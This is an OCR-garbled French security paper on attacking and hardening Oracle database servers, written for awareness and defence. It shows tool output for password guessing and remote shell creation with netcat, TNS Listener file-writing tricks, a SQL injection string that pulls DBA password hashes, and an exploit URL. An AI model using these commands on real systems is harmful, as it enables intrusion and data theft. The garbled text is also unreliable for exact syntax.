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Resune  Les informations les plus sensibles d'une entreprise sontgreralement
stoclees dans des serveurs de bases de donrees comme Oracl Or de
tels serveurs sont souvent peu curiges, car le < monde Oracle > est
extrémement riche et complexe : un administrateur Oracle a tellement
de paranetresa grer que les aspects fcurie passent souvent au second
plan. De plus, l'installation par cefaut d'un serveur Orac le comporte de
nombreuses vulrerabilies importantes dont un attaquan t averti peut fa-
cilement tirer pro t, parfois méme indirectementa trave rs un pare-feu ou
un serveur web internediaire. Cet article et la pesentat ion assocee ont
pour but de montrer concetement les principales intrusio ns permettant
d'aceder aux donrees du serveur, ou méme de prendre le catréle du
syseme d'exploitation hote, en se basant sur les vulrer abilies d'Oracle.

Il s'agit bien str de sensibiliser les administrateurs et | es responsables
fcurie aux probemes speci ques d'Oracle, et d'appo rter des recom-
mandations pour se prokeger contre ces intrusions.

1 Introduction

Les informations les plus sensibles d'une entreprise sorgigralement stoclees
dans des serveurs de bases de donrees comme Oracle. Pour denbreuses bonnes
raisons, la ®curisation de ces serveurs est souvent paradalement sous-estinee.

En e et, la complexie et la richesse des produits Oracle rend dicile le
travail des < DBAs > (administrateurs Oracle) et des ceveloppeurs. Il y a tja
tellement de conceptsa connatre et d'actionsa mener auquotidien pour qu'un
syseme Oracle fonctionne, et la ®curie n'est pas une giorie. En paralele, les
responsables scurit et les auditeurs techniques ont assi forta faire, et ils n'ont
pas souvent le temps de se formera Oracle pour comprendre s@robemes de
fcurie speci ques.

Au nal les risques assocesa un serveur Oracle sont gereralement sous-
estines voire ignoes. En e et, la con guration par cefa ut d'un serveur Oracle
comporte de nombreuses vulrerabilies importantes dont un attaquant averti
peut facilement tirer pro t, parfois méme indirectement a travers un pare-feu ou
un serveur web internediaire.

Cet article et la pesentation assocee ont pour but de montrer concetement
les principales intrusions permettant d'aceder aux donees du serveur, ou méme
de prendre le contréle du syseme d'exploitation hote, en se basant sur les
vulrerabilies d'Oracle. Il s'agit bien sor de sensibil iser les administrateurs et
les responsables scurie aux probemes speci ques dOracle, et d'apporter des
recommandations pour se proeger contre ces intrusions.
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2 Oracle : quelques rappels

Ce chapitre rappelle tes rapidement quelques notions de bBse qui concernent
la :curie d'Oracle.

2.1 Bases et comptes utilisateurs

Un serveur Oracle peut contenir plusieurs bases de donree€haque base
contient ses propres comptes utilisateurs. Dans le mode dihenti cation par
cefaut, chaque compte possede normalement un mot de passproegeant l'aces
a la base, ainsi que des privieges qui restreignent plus @ moins l'aces aux
donrees et aux paranetres de la base.

Toute nouvelle base est dokee d'un certain nombre de compte par cefaut,
parmi lesquels SYS et SYSTEM sont les principaux comptes d@ministration,
avec des priviegesetendus.

Du point de vue de la gestion des utilisateurs, une base Oraglpeut donc
étre consiccee comme un syseme d'exploitation ince pendant.

Il existeegalement d'autres modes d'authenti cation a1 Oracle fait con ance
au syseme d'exploitation héte plutét que de demander un mot de passe.

2.2 Aces eseau : TNS Listener et OracleNet

L'aces aux bases par le eseau passe gereralement par m protocole pro-
pretaire sur TCP/IP, nomme SQL*Net, Net8 ou OracleNet su ivant les versions
d'Oracle. Sur le serveur Oracle, c'est le module TNS Listene(Transparent Net-
work Substrate) qui est charge de gerer les connexions iseau vers les dierentes
bases a travers ce protocole. Le port TCP par cefaut est 152, mais Oracle
peut tes bien employer un autre port. Sur le poste client, I'utilisateur emploie
ereralement le logiciel client Oracle, soit directemert soit par l'internediaire
d'une application speci que (interfaces Java, ODBC, ...).

Chaque base Oracle sur le serveur est accessible grace a igenti cateur
appek < SID >. Lorsgu'un client se connectea une base par le eseau, il dit
connatre le serveur, le port TCP du TNS Listener, le SID de h base, ainsi que
le login et le mot de passe du compte Oracle utilis.

Dans certains cas particuliers, il est possible d'employedes alternatives au
mot de passe Oracle, comme par exemple l'authenti cation pale compte utili-
sateur Unix, ou bien l'authenti cation native d'un domaine Windows.

Le sclema suivant repesente la connexion eseau d'un utlisateur Bob sur

une base dont le SID es BASEL >, apes avoir saisi son mot de passe Oracle
sur son poste client :
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Serveur
ORACLE
Base Oracle n°1 Base Oracle n°2
SID: BASE1 SID: BASE2
Utilisateurs: Utilisateurs:
SYS, SYSTEM, SYS, SYSTEM,
DBSNMP, Alice, Chloe, Client Oracle
CTXSYS, ... David
Alice, Bob Connexion:
?_ SID BASE1
Utilisateur Bob
TNS Listener

(port TCP 1521)

Protocole Oracle Net

Fig. 1. Exemple de connexion eseau Oracle

2.3 Applications web 3-tiers

De plus en plus d'applications bases sur Oracle emploientine interface web
avec un simple navigateur, ce quievite de deployer un client lourd sur chaque
poste utilisateur. Dans ce cas l'architecture est dierente :

Depuis son navigateur, l'utilisateur se connecte sur un seeur web pour
acedera l'application. Suivant la nature de cette appli cation, l'utilisateur n'a
pas forement besoin de s'authenti er. Par exemple un annuire interne d'entre-
prise peut &tre accessible publiquement en lecture sans thenti cation.

L'application web a besoin d'aceder aux donrees d'un seveur Oracle, qui
peut étre sur une machine £paee ou non suivant les cas. @nme dans le cas
peedent, 'acesa la base de donrees recessite un @mpte utilisateur Oracle
et un mot de passe. C'est donc l'application web qui doit s'athenti er par
rapporta la base, et non l'utilisateur. la aussi plusieur s cas sont possibles :
soit I'application web emploie un compte et un mot de passe Qacle qui lui sont
propres, soit elle transmet le login et le mot de passe saispsar I'utilisateur dans
son navigateur.

Les distributions standard des serveurs Oracle fournisseérun serveur web
Apache adapet pour aceder directement aux bases de donees (aces Java ou
module < mod_plsgl\fg, XSQL, ...), mais il existe de hombreux autres seneurs
d'application web tiers permettant de batir ce type d'architecture.
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Application web
m ® 3-tiers ORACLE

owelE ) N
B Oracle n*1
SID: BASEA Application web
Utilisateurs: SiPL/SAL :
8YS. SYSTEM DAD (Data Access
’ ’ Descriptor) :
DBSNMP,
CTXSYS, At":WE B Client Web
APPWEB [OEL G5 [ (havigateur)
BASE1
1‘ A Connexion:
TNS Listener Authentification
parl'application
(pert TCP 1521) {optionnelle)
ey
Protocole Oracle Net HTTP

Fig.2. Exemple d'application web 3-tiers Oracle

3 Senarios pour une intrusion Oracle par le eseau
(OracleNet)

Nous allons maintenantetudier la cemarche d'une personre malveillante qui
cherchea mettrea prot les vulrerabilies d'un syse me Oracle pour aceder
aux donrees qu'il contient, ou pour aceder au syseme dexploitation des ma-
chines qui tebergent Oracle. Cela nous permettra d'en cediire I'ensemble des
protectionsa mettre en place.

Dans un premier temps, nous allons nous pencher sur le cas ditattaquant
qui a un aces direct par le eseau aux serveurs Oracle, vide protocole natif Ora-
cleNet. Le sckema suivant synttetise la plupart des vulnerabilies d'un syseme
Oracle dans ce cas de gure, qui sont decrites par la suite :
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Fig. 3. Vulrerabilies d'un syseme Oracle

Voici les etapes possibles pour une intrusion sur un systne Oracle via le
eseau :

3.1 Prise d'empreinte eseau

Avant toute chose, un attaquant doit cetecter et identi er correctement sa
cible pour pouvoir adapter ses actions. Cela passe geretament par le eseau.

Ecoute eseau Si l'attaquant a la possibilie decouter le tra c esea u, il peut
identi er les connexions entre clients et serveurs, en ceéctant les ux OracleNet.
Comme ces ux sont en clair par cefaut, de nombreuses informations sont ac-
cessibles : adresses des clients et des serveurs, identitanles bases de donrees.
Certains outils comme dsni permettent m&me de capturer les :quences d'au-
thenti cation des utilisateurs.

Scan de ports et de services En utilisant des outils de scan de ports comme
nmap (option -sV) ou amap, un attaquant peut cetecter pec iement la pesence
d'un serveur Oracle, et identi er le nunero de port TCP util i® par le service
TNS Listener (1521 par defaut).

Les tests de cetection " OS ngerprinting " (par exemple nmap -O) per-
mettent d'identi er le syseme d'exploitation qui leber ge le serveur Oracle et sa
version, informations tes utiles pour rechercher les vuterabilies exploitables.
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Voici un exemple de esultat :

#nmap -sV -O -p 1-65535 192.168.0.1

Interesting ports on 192.168.0.1 :

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 3.4pl (protocol 1.99)

80/tcp open http IBM HTTP Server 1.3.19.4 (Derived
from Apache 1.3.20; Unix)

94/tcp open objcall ?

111/tcp open rpchind 2-4 (rpc #100000)

443/tcp open https?

657/tcp open unknown

1521/tcp open oracle-tns Oracle Listener

Running : IBM AIX 5.X
OS details : IBM AIX 5.1-5.2

Requétes du TNS Listener En ouvrant une connexion simple sur le service
TNS Listener identie gracea un outil comme Isnrctl (fou rni avec tout serveur
Oracle) ou tnscmd.pl (cf. [TNS] et [TNSCMD]), l'attaquant p eut obtenir de
nombreuses informations suppkmentaires grace aux comandes< status > ou
< services>, sans aucun besoin d'authenti cation.

Les informations ineressantes fournies par le TNS Listerer sont notamment :

{ Le type et la version du syseme d'exploitation hote

{ La version d'Oracle

{ Les SIDs des bases de donrees accessibles

{ Les paranetres de scurie du TNS Listener

{ Parfois méme les variables d'environnement du compte sasilequel tourne

le TNS Listener, ce qui e\ele le compte utilisateur sous lequel fonctionne
Oracle, son epertoire home, etc...

Exemple :

#tnscmd.pl STATUS -h 192.168.0.1 -p 1521 --indent

sending (CONNECDATA=(COMMAND-=status)) to 192.168.0.1 :1521

connect

writing 89 bytes

reading

DESCRIPTION=

VSNNUM=153093120

ALIAS=LISTENER

SECURITY=OFF

VERSION=TNSLSNR for Linux : Version 9.2.0.4.0 - Production

STARIDATE=22-OCT-2004 16 :44 :17

SIDNUM=1

LOGFILE=/opt/oracle/9.2/network/log/listener.log

PRMFILE=/opt/oracle/9.2/network/admin/listener.ora

TRACING=off



Actes du symposium SSTIC05 7

UPTIME=188512

SNMP=0OFF

PID=2120

SERVICE=
SERVICENAME=ORATEST
INSTANCE=
INSTANCERIAME=ORATEST
NUM=1
INSTANCETATUS=UNKNOWN
NUMREL=1

SERVICE=
SERVICENAME=PLSEXxtProc
INSTANCE=
INSTANCBRIAME=PLSEXxtProc
NUM=1
INSTANCETATUS=UNKNOWN
NUMREL=1

#tnscmd.pl SERVICES -h 192.168.0.1 -p 1521 --indent
sending (CONNECDATA=(COMMAND=services)) to 192.168.0.1 :1521
[...]

INSTANCE=
INSTANCRAME=ORATEST
NUM=2

HANDLER=

[..]

ENVS='HOSTNAME=localhost, TERM=xterm, SHELL=/bin/bash
TMPDIR=/persist/opt/9.2/tmp, USER=0ra920,

ORACLE\_SID=ORATEST, ORACLE\ BASE=/persist/opt/oras}|
MAIL=/var/spool/mail/ora920, PATH=/persist/opt/oracl e/9.2/bin:
/opt/bin: /bin: /usr/bin: /usr/local/bin: /usr/sbin: /us r/X11R6/bin,
SECURE\_LEVEL=2, PWD=/persist/opt/9.2, JAVA\_HOME=/udocal/java,
HOME=/persist/opt/9.2, TMP=/persist/opt/9.2/tmp,

LOGNAME=0ra920, DISPLAY=:0.0, ORACLE\ HOME=/persigtioracle/9.2,

3.2 Recuperation de mots de passe Oracle

Pour acedera une base de donrees Oracle via le protocol®racle Net, il est
recessaire de s'authenti er en tant qu'utilisateur de cette base. En cereral cette
authenti cation se fait par un login et un mot de passe d'un compte Oracle. Un
attaquant dispose de plusieurs nethodes pour trouver un Igin / mot de passe
valide :
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Mot de passe par cfaut Une des vulrerabilies principales d'une base de
donrees Oracle est la pesence de nombreux comptes utileeurs par cefaut avec
des mots de pass& usine> bien connus ([ODPL] en liste plus de 600!). En e et,
toute ceation d'une base Oracle provoque l'ajout de compes par defaut, par
exemple SYS, SYSTEM, DBSNMP, OUTLN, ...

Chacun de ces comptes possde un mot de passe » par cefaupar exemple
< manager> pour SYSTEM et < dbsnmp > pour DBSNMP. Cette liste de mots
de passe par cefaut est bien documente et accessible pubuement sur Internet.
La majorie des mots de passe est simplement identique au na de compte.

Avec les versions ecentes d'Oracle et suivant la methodede ceation de la
base (assistant DBCA ou ceation manuelle), I'administrateur peut &tre fore
par le syseme de choisir un mot de passe dierent pour SYS & SYSTEM.
Cependant cette fonctionnalie est en gereral limiee a ces 2 comptes, et elle
netait pas pesente auparavant. Il n'est donc pas rare de retrouver ces comptes
intacts sur d'anciennes bases de donrees toujours en prodtion.

Il existe de tes nombreux outils pour tester rapidement la liste des logins /
mots de passe connus, comme par exemple OPWG (Oracle Pass\WioGuesser,
cf. [OAT)) :

C :nOAT>opwg -s srvoral

Oracle Password Guesser v1.3.1 by patrik@cqure.net

INFO : Running pwcheck on SID BASE1
Successfully logged in with CTXSYS/CTXSYS
Successfully logged in with DBSNMP/DBSNMP
Successfully logged in with DEMO/DEMO
Successfully logged in with SYS/CHANGE ONINSTALL
Successfully logged in with SYSTEM/MANAGER
Skipping PLSExtProc ...

INFO : Running pwcheck on SID BASE2
Successfully logged in with CTXSYS/CTXSYS
Successfully logged in with DBSNMP/DBSNMP
Successfully logged in with OUTLN/OUTLN

Ecoute eseau  Une connexion OracleNet en clair peut eweler le login et le mot
de passe Oracle de I'utilisateur, si l'attaquant emploie unoutil comme dsni .

Mot de passe stocle sur un poste client Il n'est pas rare de rencontrer
des applications qui emploient Oracle comme un simple moyede stockage de
donrees, et qui sont corcues pourevitera l'utilisateu r la gestion d'un mot de
passe suppkmentaire. Dans ce cas, le mot de passe Oracle @oe pour aceder
aux donrees est souvent stocle " en dur " dans le code de l'aplication ou bien
dans un chier du disque, soit en clair soit sous forme obscuie (chi rement
eversible). Un attaguant ayant aces au poste client peut alors trouver ce mot
de passe, s'il dispose d'assez de temps et d'imagination.
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Mot de passe visible sur le serveur Si l'attaquant dispose d'un aces au ser-
veur en tant qu'utilisateur egitime du syseme d'exploi tation, il pourrait obtenir
'acesa un mot de passe Oracle non proeg, par exemple:
{ Mot de passe accessible dans un script ou un chier de con gtation du
serveur mal proege.
{ Mot de passe visible dans une ligne de commande, gracea laommande
< ps>.

Aces via une autre base Oracle Si un attaquant a cep acesa une base
Oracle, il peut mettrea prot certaines vulrerabilies  pour progresser dans le
syseme en se connectanta d'autres bases lees :

{ Intrusion via une base de donrees de ceveloppement mal poecee, conte-
nant des liaisons vers d'autres bases<(database links> : mots de passe
stocles en clair).

{ Intrusion via la base < Repository > mal proege d'un serveur Oracle
Enterprise Manager, qui centralise les mots de passe d'admistration de
toutes les bases administees.

3.3 Intrusion Oracle via le syseme d'exploitation

Sur le serveur Si l'attaquant est capable d'exploiter une vulrerabilit e du
syseme d'exploitation sur le serveur Oracle, il peut s'en servir pour obtenir
l'aces aux bases de donrees :
{ Modi cation de chiers de con guration ou de scripts pour a jouter un
compte d'administration Oracle.
{ Ajout d'utilisateurs au groupe des administrateurs Oracle.

Sur le poste client d'un administrateur Oracle Comme le montre [ADMIN],
le poste d'un administrateur Oracle peut étre sujeta de nombreuses vulrerabilies,
et un attaquant peut s'en servir pour obtenir l'aces aux bases de donrees. Il
est par exemple possible de modier le chier< glogin.sgl> pour injecter des
commandes au lancement de SQL*Plus, ou bier toad.ini > pour l'outil d'ad-
ministration TOAD.

De plus, la plupart des outils d'administration Oracle ont |a facheuse habi-
tude de stocker certains mots de passe dans des chiers surpeste client. Méme
s'ils sont stocles sous forme chi ee, il est parfois possble de recopier les chiers
de con guration sur une machine possdant le méme outil par se connecter
directementa la base Oracle.

3.4 Intrusion syseme via Oracle

A linverse, certaines vulrerabilies d'Oracle permett ent de compromettre le
syseme d'exploitation, ou d'attaquer d'autres machines depuis Oracle.
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Execution de code Comme beaucoup de logiciels certaines versions d'Oracle
sont vulrerablesa des cebordements de tampons qui permétent de declencher
du code executablea distance dans le contexte du TNS Listaeer.

Vulrerabilie < Create Library > L'outil OSE du package [OAT] montre
qu'il est relativement simple d'exploiter une vulrerabil ie d'Oracle pour obtenir
un shell sur un serveur Oracle (sous Windows ou Solaris poualversion actuelle).
Cet outil recessite un aces Oracle avec un compte dispos# du priviege < create
library >.

Exemple :

c :n>ose -s 192.168.0.1 -t Windows -u system -p manager

OracleSysExec v1.3.1 by patrik@cqure.net

INFO : Local IP seems to be 192.168.0.10
SERVER :[2] Tftp Server thread started.

INFO : Uploading netcat to Oracle Server

INFO : Recieved read request from /192.168.0.1
INFO : Completed read request from /192.168.0.1
INFO : Sleeping for 2 seconds

INFO : Creating shell on port 31337 Oracle Server
INFO : Cleaning up!

INFO : The nc.exe will be left in %temp%
INFO : Stopping TFTP Server

c :n>nc 192.168.0.1 31337

Microsoft Windows [version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C :nWINDOWsystem32>

Scurie du TNS Listener Le probeEme le plus epandu est l'absence de
$curisation par cefaut du TNS Listener, m&me si tous les correctifs de ®curie
ontet appliges. Il est possible d'ouvrir une connexion et de transmettre des
commandes d'administration au service TNS Listener sans ahenti cation par-
ticulere, et sans acedera une base. Voici les commands d'administration du
TNS Listener les plus importantes concernant la scurie (une liste plus compkte
est fournie dans le document [TNS]) :

status : Fournit des informations, notamment la liste des SIDs des baes acces-
sibles, la pesence d'un mot de passe de protection, l'actation de SNMP,
et la version d'Oracle.

services : Fournit des informations plus cetailees que status, en particulier
I'environnement de l'utilisateur sous lequel tourne le Lidener : compte uti-
lisateur du TNS Listener, epertoire < home>, etc.

stop : stoppe le TNS Listener. Cela peut aboutira un ceni de service, en blo-
guant l'aces eseau aux bases.

log_le : Modie I'emplacement du chier de log du TNS Listener.
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A part < status >, l'acesa ces commandes peut étre proege par un mot de
passe, cependant par cefaut ce mot de passe n'est pas acty

La vulrerabilie la plus grave est leea la commande <log_le >, qui permet
a un attaquant d'ajouter des lignes de texte quelconques das tout chier du
syseme hote, pourvu gu'il soit accessible au compte utiisateur sous lequel tourne
le TNS Listener.

Si le syseme d'exploitation du serveur est un Unix, il est par exemple possible
de modier le chier < .rhosts> de ce compte pour aceder au syseme sans
authenti cation, si les services rsh ou rlogin sont actiwes. Ce type d'attaque est
cecrit en cetail dans la documentation de I'outil thscmd. pl (cf. [TNSCMD]).

Sur le méme principe, cette vulrerabilie permet entre autres d'obtenir un
ac@s SSH par injection de ck publique dans le chier< .ssh/authorized_keys>
(si le sous-epertoire .ssh existe cep), d'injecter des commandes SQL dans le
script < glogin.sql> de SQL*Plus, ou de peger un serveur Windows gracea un
chier BAT judicieusement place.

Cette vulrerabilie du TNS Listener permet donc une intru sion au niveau du
syseme d'exploitation hote, sans passer par une autheritcation Oracle.

Modules Oracle Une fois obtenue une connexiona une base de donrees, cer-
tains modules sont accessibles par programmation et permteint de scanner ou
d'attaquer d'autres machines du eseau, qui ne seraient pa forement visibles
autrement.

Par exemple le module< utl _tcp > rend possible la ceation d'un scanner de
ports TCP depuis une base de donrees Oracle. Si le serveur @cle est acedke
par un attaquanta travers un pare-feu, ce module permet de sanner les autres
machines normalement inaccessibles, derrere le paredie

Pégeage d'un poste client Oracle sous Windows Le client Oracle pour
Windows peut aussi poser des probemes de scurie pouré syseme d'informa-
tion. Par exemple, il n'est pas rare de rencontrer des posteau le client Oracle
a modie la variable PATH du syseme lors de son installati on pour placer le
epertoire "bin" d'Oracle en téte, devant %systemroot% nsystem32, comme ceci :

PATH=C noracle nora90nbin;C : nWINNmsystem32;C : nWINNT;...

On peut gereralement constater que ce epertoire < bin > est accessible en
ecriturea tout le monde. Il en esulte que n'importe quel utilisateur peut faci-
lement peger la machine en introduisant des executablespos®dant les mémes
noms que ceux sittes dans< system32> et utiliees par 'administrateur : cmd.exe,
net.exe, regedit.exe,

3.5 Recuperation de donrees

Si une base de donrees contient des informations sensiblgbest recessaire de
prendre des pecautions pour les proeger,a la fois sur e eseau et dans la base
elle-méme. En e et ces informations pourraient &tre ecupeees par un attaquant
par divers moyens :
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{ Ecoute des connexions en clair, si le protocole Oracle Net'est pas chi e.

{ Recureration d'une sauvegarde de base de donrees stoele dans un lieu
mal proece.

{ Exploitation de privieges ou réles tropetendus donna nt I'aces aux donrees :
privieges < any >, réle DBA, privieges du groupe PUBLIC, ...

3.6 Maintien d'un aces dans un syseme Oracle (rootkit)

Une fois qu'un attaquant est parvenu a obtenir un aces dans une base
de donrees Oracle, il peut avoir besoin de s'y maintenir, etde camou er sa
pesence. Il peut alors se ceer une porte cerokee par divers moyens (pro@dure
stoclee, trigger, ), ou méme utiliser des techniques de agaou age evoliees qui
s'apparentent aux rootkits qui existent pour Unix ou Windows. Le document
[ROOTKIT] montre qu'il est possible de maintenir une sessim utilisateur dans
une base Oracle et de lancer des proedures de facon teaftive, tout en four-
nissant une nmethode pour cetecter ce type d'activie.

3.7 Nouvelles vulrerabilies en 2004 et 2005

En 2004, David Litch eld a eek I'existence d'une cing uantaine de nouvelles
vulrerabilies decouvertes dans diverses versions degproduits Oracle, jusqua la
toute dernere 10g, sans peciser la nature exacte de cesaflles. Depuis, Oracle
a commene a fournir des correctifs pour certaines des cesulrerabilies, et
sous la pression des utilisateurs et des nedias certainsetails ontet eweks n
tecembre 2004 puis courant avril 2005 (cf. [VULN1,VULN2]).

Etant donre le nombre et la criticie des vulrerabilie s decouvertes, il est plus
que jamais important de suivre et d'appliquer les correctif au fur eta mesure
de leur parution (cf. [CPUSA,OSA]).

4 Senarios pour une intrusion via une application web

Le cas d'une intrusion par une application web est dierent, car les vulrerabilies
mises en oeuvre ne sont pas les mémes que pour un aces dirpar le eseau
via le protocole OracleNet.

Comme pour les intrusions par le eseau, il est possible derdsser un sctema
des intrusions possibles pour une application web 3-tierspar exemple a base
d'Oracle HTTP Server ou Oracle Application Server.

Oracle HTTP Server est un serveur web Apache adapt pour ceer des appli-
cations web leesa un serveur Oracle (via des interfaces B/SQL, XSQL, JSP ou
SOAP). Il fait notamment partie de la distribution standard du serveur Oracle
8i et de Oracle 9iAS.

Oracle Application Server est une distribution speci que contenant des fonc-
tionnalies suppementaires adapees aux application s web, incluant Oracle HTTP
Server.
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Alors qu'un serveur Oracle est souvent proege des acesxerieurs, il est plus
fequent de rencontrer un serveur Oracle HTTP en premere ligne (par exemple
dans une DMZ), servant d'interface entre les utilisateurs ¢les bases de donrees.

Fig. 4. Vulrerabilies d'une application web 3-tiers Oracle

4.1 Identi cation d'une application web bage sur Oracle

Si l'attaquant a acesa une application web, il peut eétre capable d'identi-
er qu'elle s'appuie sur un serveur Oracle, par exemple en &diant les URLs
employees ou les eponsesa certaines requétes. Cela epossiblea la fois pour
les applications publiques, ai I'attaquant peut naviguer librement, et pour les
applications recessitant une authenti cation, ai il est limiea la page d'au-

thenti cation. En e et cette page d'authenti cation suts ouvent pour trahir la
pesence d'Oracle.

Voici quelques exemples d'URLSs typiques d'une applicatiorbase sur Oracle
HTTP Server ou Oracle Application Server :

{ PL/SQL : http ://serveur/ pls/xxx/

{ XSQL : http ://serveur/ xsql /xxx/

{ SOAP : http ://serveur/ soap/xxx/
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4.2 Recuperation de mots de passe web

Une application web qui emploie HTTP en clair et demande une athenti-
cation de l'utilisateur est vulrerablea uneecoute e seau : le mot de passe de
chaque utilisateur est facilement captue.

Si l'utilisateur choisit de stocker son mot de passe sur songste client grace
aux fonctionnalies des navigateurs ecents, l'attaquant peut y aceder grace
auxeventuelles vulrerabilies du poste client, et s'en servir pour se connectera
I'application web.

4.3 Recupration de donrees écoute eseau)

Si toute I'application web est base sur HTTP en clair, un attaquant capable
decouter le eseau entre un client et le serveur web peut ecuperer toutes les
donrees qui transitent.

4.4 Intrusion Oracle via une application web

Certaines vulrerabilies des applications web permettenta un attaquant de
s'introduire dans une base de donrees Oracle assocee, ae lui faire executer des
requétes SQL depuis son navigateur. Si ces attaques ne sqmas Speci quement
ltees par une passerelle adapte, elles peuvent fonctonnera travers un pare-
feu, puisque tout se passe au niveau applicatif sur HTTP.

Injection SQL  Le type d'attaque le plus connu est l'injection SQL : l'attaquant
saisit des donrees dans un formulaire de I'application wepen utilisant une syn-
taxe particulere. Si l'application exploite directement ces donrees sans ltrage
dans un code PL/SQL, il se peut que l'attaquant parviennea faire executer un
code SQL de son choix, directement dans le contexte de la basie donrees (cf.
[APPSEC,ADVSQL]). Dans certains cas particuliers, cela p&it méme aboutira
I'execution de commandes au niveau du syseme d'exploitdion.

Remarque : l'injection SQL n'est pas forement leea une application web.
Toute autre application qui gerere dynamiquement une requéte SQL a base
de donrees saisies par un utilisateur est potentiellementvulrerable a ce type
d'attaque.

Exemple simplie : consicerons une application web qui demandea l'utilisa-
teur de saisir une donree< CODE_POSTAL > dans un formulaire, pour a cher
une liste de personnes avec ce code postal. La requéte SQlraealors :

Select * from personnes where code = 'CODE_POSTAL'

Si l'attaquant saisit la cha™e suivantea la place d'un code postal valide :

75000' UNION select password from DBAUSERS
where 'g'='q

Alors la requéte SQL eellement execuee sera la suivarte :

Select * from personnes where code = '75000'

UNION select password from DBAUSERS where 'g'='q’

ce qui risque de lui fournir la liste des mots de passe (hack) de la base

Oracle!
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Vulrerabilies des serveurs web Oracle HTTP Server et Ora cle Ap-
plication Server L'installation par defaut de d'Oracle HTTP Server sou re
cgereralement de nombreuses vulrerabilies speci qu es (cf. [HPOAS]).

Pour certaines versions comme Oracle 9iR1 on peut citer engr autres la
possibilie de lancer des requétes SQL sur le serveur sars/oir besoin d'authen-
ti cation, a cause de modules PL/SQL vulrerables. Ces requétes s'executent
alors dans le contexte du compte utilisateur de I'applicaton web. En e et une
application web PL/SQL est con guee gracea un DAD (Data Access Descrip-
tor), qui corresponda un compte et un mot de passe de la base a donrees
Oracle assocee. Ainsi toutes les requétes de I'applic&in web sont e ectiees sur
la basea l'aide de cet unique compte.

Par exemple, I'URL suivante provoque le renvoi de la liste de comptes Oracle
de la base assoceea l'application web (cette liste est \dible en a chant le code
source de la page HTML retourree) :

http://serveur/pls/dad/owa_ util.listprint?p_theQuer y=select%20*%
20from%20all_users&p_cname=&p_nsize=

Un serveur Oracle HTTP vulrerable peut donc servir d'inter nediairea un at-
taquant pour acedera des donrees eta des proedures rormalement interdites,
méme si le serveur Oracle assoce est correctement pragp.

Google hacking Un jeua la mode consistea exploiter la puissance du moteur
de recherche Google pour tenicher de nombreuses vulreralies accessibles sur
des serveurs web connecesa Internet.

Les serveurs web bases sur Oracle nechappent pasa la gle, comme le
montrent [GOOGLE1,GOOGLE2,GOOGLES3].

5 Recommandations pour €curiser Oracle

Etant donrees toutes les vulrerabilies pesentes a u cours de cet article,
la curisation parfaite d'un syseme Oracle n'est pas ure tache simple... Il est
cependant possible d'aneliorer tes nettement la scurie d'Oracle en appliquant
quelques recommandations. Certaines de ces recommandai®rekevent du bon
sens, mais la ealie montre qu'il n'est jamais inutile de les rappeler, surtout dans
un domaine aussi complexe que les sysemes Oracle :

1. Installer et activer uniqguement les fonctionnalies indispensables. M&me si
l'installation est plus complexe et plus longue, c'est un g de temps et
d'argenta moyen et long terme : tout module non instale n' aura pas besoin
d'étre misa jour, n'aura pas besoin d'¢tre scurige, et surtout ne pourra
jamais étre attaque!

2. Pour un serveur web Oracle HTTP Server ou Oracle Applicaton Server,
supprimer toutes les pages d'exemple, et cesactiver les ntules inutiles.

3. Securiser le syseme d'exploitation des serveurs Orale, ainsi que tous les
postes clients employes par les administrateurs.
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4. Appliguer egulerement tous les correctifs de scurie publes par Oracle (cf.
[CPUSA]). Bien sur, la pertinence de chaque correctif doitétre analyse, le
correctif doit d'abord étre instale et \erie dans un e nvironnement de test
avant d'étre appligie en production.

5. A la ceation de toute nouvelle base Oracle, desactivertous les comptes
utilisateurs non indispensables.

6. Modi er les mots de passe de tous les comptes actifs.

7. \eri er egulerement ces mots de passe a l'aide d'ou tils de test comme
[OAT,ODPAT].

8. Appliquer des contraintes sur les mots de passe : duee dee, verrouillage,
complexig, ...

9. Scuriser le TNS Listener, en lui appliquant un mot de pase d'administra-
tion et en ajoutant le paranetre ADMIN _RESTRICTIONS (cf. [TNS]).

10. \&ri er egulerement la ®curisation du TNS Liste nera l'aide d'outils comme
[LCHK,NESSUS].

11. Eviter de laisser un serveur Oracle accessiblea tout lenonde sur un eseau
ouvert, surtout s'il s'agit d'Internet. Eventuellement proeger son acees par
un pare-feu, ou con gurer le TNS Listener pour n'autoriser qu'une liste
d'adresses IP pour les clients (cf. [TNS]).

12. Surveiller egulerement la «curie et I'inegr it des bases Oracle sensibles,
ainsi que tous les journaux devenements pouvant mettre en evidence des
actions malveillantes.

13. Envisager le chirement des connexions eseau, qu'il 'agisse d'OracleNet
avec SSL ou SSH, ou de HTTPS pour les applications web.

14. Pour une application web, \erier que toutes les donrees saisies par les
utilisateurs sont bien Itees poureviter les risques d' injection SQL.

15. Sur les postes clients Windows, \eri er les ACLs sur lesepertoires du PATH.
16. Protger correctement les sauvegardes des bases de dees.

Cette liste est loin d'&tre exhaustive.

Pour aller plus loin, les documents [CHK9,TNS,CIS,SECOAS]ainsi que le
site [FINN] fournissent de nombreuses informations supmmentaires pour la
$curisation des produits Oracle.

6 Conclusion

Cet article a monte un apercu des vulrerabilies qu'un attaquant averti
peut mettre en oeuvre pour compromettre une base de donree®racle ou bien
le syseme d'exploitation du serveur qui I'reberge. Ces wilrerabilies ne doivent
pas etre prisesa la kegere, puisque de tes nombreux sysemes utilisent Oracle
pour y stocker des donrees sensibles.

La complexie du monde Oracle et le nombre impressionnant & chiers et de
pararetres disponibles ne doit pas empécher un DBA ou un reponsable scurie
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de se pencher sur la ®curisation des serveurs Oracle. L'pfication de quelques
recommandations permet de se protger contre la plupart de vulrerabilies prin-
cipales.
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